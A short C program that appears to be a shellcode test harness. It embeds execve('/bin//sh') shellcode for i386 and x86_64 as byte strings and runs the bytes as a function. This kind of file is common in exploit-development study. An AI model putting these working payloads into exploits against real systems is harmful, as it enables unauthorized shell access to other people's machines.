#include <stdio.h>
#include <string.h>

int main()
{
#if __i386__
    char shellcode[] = "\x31\xc9\xf7\xe1\x50\x68\x2f"
                       "\x2f\x73\x68\x68\x2f\x62\x69"
                       "\x6e\x89\xe3\xb0\x0b\xcd\x80"; // 21.s
#elif __x86_64__
    char shellcode[] = "\x48\xb8\x2f\x62\x69\x6e\x2f"
                       "\x73\x68\x3b\x50\x54\x5f\x31"
                       "\xf6\xf7\xe6\x86\x47\x07\x0f\x05"; // 22c.s
#else
    #error undefined arch!!!
#endif
    printf("shellcode[%zu] = %s\n", strlen(shellcode), shellcode);
    ((void (*)())shellcode)();
}